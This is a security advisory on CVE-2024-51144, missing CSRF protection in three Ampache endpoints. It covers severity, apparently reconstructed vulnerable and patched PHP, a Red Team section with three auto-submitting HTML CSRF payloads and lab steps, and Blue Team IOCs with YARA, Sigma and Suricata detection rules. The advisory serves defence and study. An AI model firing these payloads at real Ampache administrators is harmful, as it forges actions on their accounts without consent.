CVE-2024-51144

Executive Summary

CVE-2024-51144 is a Cross-Site Request Forgery (CSRF) vulnerability in Ampache, an open-source web-based audio file manager. The flaw exists in three endpoints: pvmsg.php?action=add_message, pvmsg.php?action=confirm_delete, and ajax.server.php?page=user&action=flip_follow. An attacker can trick an authenticated administrator into performing unintended actions, such as adding or deleting private messages, or following/unfollowing users, without their consent. This can lead to unauthorized data manipulation and potential account takeover if combined with other vulnerabilities. The vulnerability affects Ampache versions up to and including 6.6.0. No official patch has been released, and the vendor has not acknowledged the issue.

Supply Chain & Package Security

Ampache is a PHP-based application distributed via GitHub and its official website. The vulnerability is not related to a specific package manager (NPM, PyPI, Go, Ruby) but is a direct code flaw in the application's source. Users should verify the integrity of their Ampache installation and consider manual code review or applying community patches.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
• Base Score: 6.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must be logged in as admin and click a malicious link.
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: High (I:H) – attacker can modify private messages and user follow states.
• Availability Impact: None (A:N)

Threat Level: Medium. Exploitation requires user interaction, but the impact on integrity is high, especially in a social engineering scenario.

Deep Dive & Mechanics

The vulnerability stems from missing CSRF tokens in three key endpoints:

1. pvmsg.php?action=add_message – Allows an authenticated user to send a private message to another user. Without CSRF protection, an attacker can craft a request that, when executed by an admin, sends a message on their behalf.

2. pvmsg.php?action=confirm_delete – Deletes a private message. An attacker can force an admin to delete messages, potentially destroying evidence or disrupting communication.

3. ajax.server.php?page=user&action=flip_follow – Toggles the follow status of a user. An attacker can make an admin follow or unfollow arbitrary users, which could be used for social engineering or to manipulate the admin's feed.

The root cause is the absence of anti-CSRF tokens (e.g., nonces) in these forms and AJAX handlers. The application relies solely on session cookies for authentication, making it vulnerable to CSRF attacks.

Vulnerable vs. Patched Code

Vulnerable Code (Ampache <= 6.6.0):

In pvmsg.php, the add_message and confirm_delete actions do not check for a CSRF token:

// pvmsg.php (vulnerable)
if ($_REQUEST['action'] == 'add_message') {
    // No CSRF check
    $message = new PrivateMessage();
    $message->set_from_user($GLOBALS['user']->id);
    $message->set_to_user($_REQUEST['to_user']);
    $message->set_subject($_REQUEST['subject']);
    $message->set_message($_REQUEST['message']);
    $message->save();
}

Similarly, in ajax.server.php, the flip_follow action lacks CSRF protection:

// ajax.server.php (vulnerable)
if ($_REQUEST['action'] == 'flip_follow') {
    // No CSRF check
    $user_id = $_REQUEST['user_id'];
    $follow = new User_Follower();
    $follow->toggle($GLOBALS['user']->id, $user_id);
}

Patched Code (Hypothetical Fix):

A proper fix would include a CSRF token check:

// pvmsg.php (patched)
if ($_REQUEST['action'] == 'add_message') {
    if (!Core::check_csrf_token($_REQUEST['csrf_token'])) {
        // Handle invalid token
        exit;
    }
    // ... rest of the code
}

And in ajax.server.php:

// ajax.server.php (patched)
if ($_REQUEST['action'] == 'flip_follow') {
    if (!Core::check_csrf_token($_REQUEST['csrf_token'])) {
        // Handle invalid token
        exit;
    }
    // ... rest of the code
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• A target running Ampache <= 6.6.0 with an authenticated admin session.
• The attacker must trick the admin into visiting a malicious page.

Exploit Payload (HTML):

<html>
<body>
<h1>Click me for a surprise!</h1>
<form action="http://target-ampache/pvmsg.php?action=add_message" method="POST" id="csrf_form">
    <input type="hidden" name="to_user" value="attacker_user_id">
    <input type="hidden" name="subject" value="You've been hacked">
    <input type="hidden" name="message" value="This is a CSRF attack!">
</form>
<script>
    document.getElementById('csrf_form').submit();
</script>
</body>
</html>

For deleting messages:

<form action="http://target-ampache/pvmsg.php?action=confirm_delete" method="POST">
    <input type="hidden" name="message_id" value="123">
</form>
<script>document.forms[0].submit();</script>

For flipping follow status:

<form action="http://target-ampache/ajax.server.php?page=user&action=flip_follow" method="POST">
    <input type="hidden" name="user_id" value="victim_user_id">
</form>
<script>document.forms[0].submit();</script>

Lab Setup:

1. Install Ampache 6.6.0 on a local server (e.g., using Docker or XAMPP).
2. Create an admin account and log in.
3. Host the malicious HTML on a separate domain or local file.
4. Open the malicious page while the admin session is active.
5. Observe the unintended action (message sent, deleted, or follow toggled).

Blue Team

Detection:

• Monitor for unusual POST requests to /pvmsg.php and /ajax.server.php with unexpected parameters.
• Look for requests with missing or invalid Referer headers (though not foolproof).
• Use the Sigma rule below to detect CSRF attempts.

Mitigation:

• Implement CSRF tokens in all state-changing forms and AJAX handlers.
• Use the SameSite cookie attribute set to Strict or Lax.
• Validate the Origin header on the server side.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /pvmsg.php?action=add_message with parameters to_user, subject, message.
  • POST requests to /pvmsg.php?action=confirm_delete with parameter message_id.
  • POST requests to /ajax.server.php?page=user&action=flip_follow with parameter user_id.
  • Requests with missing or suspicious Referer headers.

• Host IOCs:

  • Unexpected private messages in admin's inbox.
  • Deleted messages without user action.
  • Changes in user follow status.

• Log IOCs:

  • Apache/Nginx access logs showing multiple POST requests to the vulnerable endpoints from different IPs.
  • Application logs showing actions performed without corresponding UI interaction.

Detection Engineering

YARA Rule

rule CVE_2024_51144_CSRF_Ampache {
    meta:
        description = "Detects CSRF exploitation attempts against Ampache CVE-2024-51144"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-51144"
    strings:
        $pvmsg_add = "pvmsg.php?action=add_message"
        $pvmsg_delete = "pvmsg.php?action=confirm_delete"
        $ajax_flip = "ajax.server.php?page=user&action=flip_follow"
        $post_method = "POST"
    condition:
        any of ($pvmsg_add, $pvmsg_delete, $ajax_flip) and $post_method
}

Sigma Rule

title: CSRF Exploitation Against Ampache CVE-2024-51144
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to vulnerable Ampache endpoints without proper CSRF tokens.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - 'pvmsg.php?action=add_message'
            - 'pvmsg.php?action=confirm_delete'
            - 'ajax.server.php?page=user&action=flip_follow'
    condition: selection
falsepositives:
    - Legitimate admin actions (if CSRF tokens are implemented)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-51144 CSRF Attempt - Ampache pvmsg.php add_message"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"pvmsg.php"; content:"action=add_message"; nocase; classtype:web-application-attack; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2024-51144 CSRF Attempt - Ampache pvmsg.php confirm_delete"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"pvmsg.php"; content:"action=confirm_delete"; nocase; classtype:web-application-attack; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2024-51144 CSRF Attempt - Ampache ajax.server.php flip_follow"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"ajax.server.php"; content:"action=flip_follow"; nocase; classtype:web-application-attack; sid:1000003; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable vulnerable endpoints if not needed, by modifying the web server configuration to block POST requests to pvmsg.php and ajax.server.php for non-admin IPs.
2. Implement CSRF tokens manually by editing the source code:
   • Add a hidden field with a random token in forms.
   • Validate the token on the server side before processing actions.
3. Use SameSite cookies by setting session.cookie_samesite to Strict in php.ini.

Long-term Fix:

• Upgrade to a patched version when available (monitor Ampache GitHub releases).
• Apply community patches if the vendor does not respond.
• Consider using a Web Application Firewall (WAF) to block CSRF attempts.

Workaround:

• Restrict access to the Ampache admin panel via VPN or IP whitelisting.
• Educate administrators about phishing and CSRF risks.

Valters IT
Securing Digital Frontiers